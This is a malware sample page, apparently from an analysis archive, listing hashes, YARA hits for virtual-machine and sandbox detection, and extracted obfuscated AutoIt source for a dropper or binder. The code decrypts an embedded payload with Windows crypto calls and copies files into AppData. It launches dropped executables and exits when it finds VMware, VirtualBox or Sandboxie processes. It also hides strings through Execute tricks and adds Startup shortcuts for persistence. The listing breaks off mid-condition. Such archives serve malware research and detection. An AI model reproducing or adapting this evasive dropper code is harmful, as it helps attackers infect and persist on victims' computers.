Warning! We are currently in recovery mode. The complete archive is not available.

Sample details: adbbe9634b5819cc48cb9700d0d21f7b --

Hashes
MD5: adbbe9634b5819cc48cb9700d0d21f7b
SHA1: 4a2f11f35db9fd8a3dfff28c9bfcd1463a8aeb2e
SHA256: af423bd619a7ddf795f53194985596794c30279a56221dd30b67c3a7ba19a865
SSDEEP: 384:4Lmo5ylW8AAhSqioJtNCakdkz1NaNpSNfhYfixb5YOAMs6JFJhoiRg/:4jatNCakdkjGp+pYa3rpJFJKT
Details
File Type: ASCII
Yara Hits
CuckooSandbox/embedded_win_api | CuckooSandbox/vmdetect | YRP/domain | YRP/contentis_base64 | YRP/VMWare_Detection | YRP/Sandboxie_Detection | YRP/VirtualBox_Detection | YRP/vmdetect |
Parent Files
04353f8df56caedb1c838a24decc4415
Source
Strings
		Global $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[3]
Func UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDL, $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGP, $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPX, $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQ = True)
	Dim $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQH
	Dim $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHC
	Dim $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCS
	Dim $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSS
	Dim $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSR
	Dim $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY
			Local $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYP = DllOpen("advapi32")
		If @error Then Return SetError(1, 0, False)
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[1] = $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYP
		Local $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQ = 24
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY = DllCall($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[1], "bool", "CryptAcquireContext", "handle*", 0, "ptr", 0, "ptr", 0, "dword", $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQ, "dword", 0xF0000000)
		If @error Or Not $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY[0] Then
;~ 			DllClose($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[1])
			Return SetError(2, 0, False)
		Else
			$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[2] = $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY[1]
		EndIf
		If $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPX <> 0 Then
			$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGP = _Crypt_DeriveKey( $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGP,$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPX,0x00008003)
			If @error Then
				$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHC = 1
				$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCS = -1
				ExitLoop
			EndIf
		EndIf
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQH = DllStructCreate("boolean[" & StringLen($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDL)+1000 & "]")
		DllStructSetData($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQH, 1, $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDL)
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY = DllCall($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[1], "bool", "CryptDecrypt", "handle", $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGP, "handle", 0, "bool", $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQ, "dword", 0, "ptr", DllStructGetPtr($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQH), "dword*", BinaryLen($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDL))
		If @error Or Not $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY[0] Then
			$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHC = 2
			$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCS = -1
			ExitLoop
		EndIf
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSR = $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY[6]
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSS = DllStructCreate("boolean[" & $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSR & "]", DllStructGetPtr($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQH))
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHC = 0
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCS = UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSU($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSS)
	Until True
	Return SetError($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHC, 0, IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJYFIDUTUV($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCS))
EndFunc
Func _Crypt_DeriveKey($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQN, $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPX, $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNS)
		 Local $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYP = DllOpen("advapi32")
		If @error Then Return SetError(1, 0, False)
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[1] = $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYP
		Local $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQ = 24
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY = DllCall($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[1], "bool", "CryptAcquireContext", "handle*", 0, "ptr", 0, "ptr", 0, "dword", $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQ, "dword", 0xF0000000)
		If @error Or Not $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY[0] Then
;~ 			DllClose($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[1])
			Return SetError(2, 0, False)
		Else
			$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[2] = $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY[1]
		EndIf
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY = DllCall($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[1], "bool", "CryptCreateHash", "handle", $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[2], "uint", $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNS, "ptr", 0, "dword", 0, "handle*", 0)
		If @error Or Not $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY[0] Then
			$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHC = 1
			$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCS = -1
			ExitLoop
		EndIf
		$hCryptHash = $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY[5]
		Global $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQH = DllStructCreate("boolean[" & StringLen($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQN) & "]")
		DllStructSetData($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQH, 1, $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQN)
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY = DllCall($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[1], "bool", "CryptHashData", "handle", $hCryptHash, "ptr", DllStructGetPtr($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQH), "dword", DllStructGetSize($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQH), "dword", 1)
		If @error Or Not $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY[0] Then
			$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHC = 2
			$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCS = -1
			ExitLoop
		EndIf
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY = DllCall($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[1], "bool", "CryptDeriveKey", "handle", $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[2], "uint", $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPX, "handle", $hCryptHash, "dword", 0x00000001, "handle*", 0)
		If @error Or Not $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY[0] Then
			$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHC = 3
			$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCS = -1
			ExitLoop
		EndIf
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHC = 0
		$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCS = $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRY[5]
	Until True
	If $hCryptHash <> 0 Then DllCall($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfD[1], "bool", "CryptDestroyHash", "handle", $hCryptHash)
	Return SetError($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHC, 0, $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCS)
EndFunc
Func UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSU($IeJAiCUNfQPFNDgBiDSWNabRX)
Return Execute(Chr(68) & Chr(108) & Chr(108) & 'StructGetData($IeJAiCUNfQPFNDgBiDSWNabRX,1)')
EndFunc
#NoTrayIcon
Assign("TcEMbLQgCOBP", FileRead(@ScriptDir & "\TcEMbLQgCOBP"))
Global $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJYFI = 0
Global $IeJAiCUNfQPF =  UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG(Eval("TcEMbLQgCOBP"), "TcEMbLQgCOBPiCLe", 26128)
Global $IeJAiCUNfQPFND = ""
Global $IeJAiCUNfQPFNDg = ""
Global $IeJAiCUNfQPFNDgB = ""
Global $IeJAiCUNfQPFNDgBi = ""
Global $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUf = "%obinderld%"
Global $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfe = "%BINDER%"
Global $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfepath = "%PATHOFBINDER%"
Global $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfehidedrop = "%HIDEOFBINDER%"
Global $IeJAiCUNfQPFNDgBiD = ""
Global $IeJAiCUNfQPFNDgBiDS = "TcEMbLQgCOBPiCLe"
Global $IeJAiCUNfQPFNDgBiDSWNabRXQVMag = ""
Global $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJYFID = ""
Global $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNS = ""
If @ScriptDir = @AppDataDir Then
$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNS = 2
$UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNS = 1
Global $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSO = @AppDataDir & "\UUPPHBZOfNIWNOEBZBhdR.exe"
Global $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQ = @AppDataDir & "\UUPPHBZOfNIWNOEBZBh"
Global $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQG = @AppDataDir & "\TcEMbLQgCOBP"
If $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNS = 1 Then
FileCopy(@ScriptDir & "\UUPPHBZOfNIWNOEBZBhdR.exe", @AppDataDir & "\UUPPHBZOfNIWNOEBZBhdR.exe")
FileCopy(@ScriptDir & "\UUPPHBZOfNIWNOEBZBh", @AppDataDir & "\UUPPHBZOfNIWNOEBZBh")
FileCopy(@ScriptDir & "\TcEMbLQgCOBP", @AppDataDir & "\TcEMbLQgCOBP")
If Not $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfe = "" Then
If $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfepath = "AD" Then
FileCopy(@ScriptDir & "\" & $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUf, @AppDataDir & "\" & $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfe)
ElseIf $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfepath = "T" Then
FileCopy(@ScriptDir & "\" & $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUf, @TempDir & "\" & $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfe)
UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbT($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSO)
UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbT($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQ)
Execute('UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbT($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQG)')
If Not $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfe = "" Then
If $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNS = 1 Then
If $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfepath = "AD" Then
      If $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfehidedrop = "TcEMbLQgCOBPiCLeYfhO" Then
UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbT(@AppDataDir & "\" & $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfe)
   EndIf
ShellExecute(@AppDataDir & "\" & $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfe)
ElseIf $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfepath = "T" Then
      If $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfehidedrop = "TcEMbLQgCOBPiCLeYfhO" Then
UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbT(@TempDir & "\" & $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfe)
   EndIf
ShellExecute(@TempDir & "\" & $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfe)
ElseIf $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNS = 2 And $IeJAiCUNfQPFNDgBiD = "y" Then
If $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfepath = "AD" Then
      If $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfehidedrop = "TcEMbLQgCOBPiCLeYfhO" Then
UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbT(@AppDataDir & "\" & $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfe)
   EndIf
ShellExecute(@AppDataDir & "\" & $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfe)
ElseIf $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfepath = "T" Then
      If $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfehidedrop = "TcEMbLQgCOBPiCLeYfhO" Then
UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQbT(@TempDir & "\" & $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfe)
   EndIf
ShellExecute(@TempDir & "\" & $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfe)
Func IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJYFIDUTUV($IeJAiCUNfQPFNDgBiDSWNabRX)
	Return Execute(Chr(66) & Chr(105) & 'naryToString($IeJAiCUNfQPFNDgBiDSWNabRX)')
 EndFunc
If $IeJAiCUNfQPFNDgB = "TcEMbLQgCOBPiCLeYfhO" Then
If UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOC(UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xBDD87821405A74A31A10A60F183883B8","GLMYLXVSbVfXdQ",26128)) = True Then ;vmtoolsd.exe
If UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOC(UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0x3AF95CBCDF88AA9812FAEC9A5E94502F","GLMYLXVSbVfXdQ",26128)) = True Then ;VboxTray.exe
If UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOC(UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0x3D067C4A90E25EA36670B0AD78D757E36C2AB504A9A9CAB65D78FDF43AAA307E","GLMYLXVSbVfXdQ",26128)) = True Then ;SandboxieRpcSs.exe
   Exit
Local $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJYFIDUTUVDg = @ScriptFullPath
Local $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGe = @StartupDir
Local $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeV = @AppDataDir
Local $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQ = @ComSpec
Local $IeJAiCUNfQPFNDgBiDSWNabRXQVMaghRZKNhNJYiXEFFJYFIDUTUVD = @CRLF
Local $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQO = @ScriptName
$del = Int($IeJAiCUNfQPFNDg) * 1000
   Execute('S' & 'le' & 'e' & 'p($del)')
IeJAiCUNfQPFNDgBiDSWNabRXQVMagh()
Local $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOCQ = @CRLF
If "" = "TcEMbLQgCOBPiCLeYfhO" Then
FileCreateShortcut($UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSO, FileGetLongName(@StartupDir) & UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0x0655A19FB099383AA164F141CC45470F","GLMYLXVSbVfXdQ",26128) & $IeJAiCUNfQPFNDgBiDS & UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xB279BE8EFE087650BD65BD613B7C7F09","GLMYLXVSbVfXdQ",26128), "", $UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQ) ;.exe ;.lnk
If $IeJAiCUNfQPFNDgBi = "TcEMbLQgCOBPiCLeYfhO" Then
	  If UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLGPXQHCSSRYPQNSUfegNSOQGeVQOC(UUPPHBZOfNIWNOEBZBhdRYRDIaNJGceYFYiWWGPChTKhYbURXYObIMEfDLG("0xE6516B6EBF3D3B8EEF6CF4DD58E0CB3B","GLMYLXVSbVfXdQ",26128)) = False Then
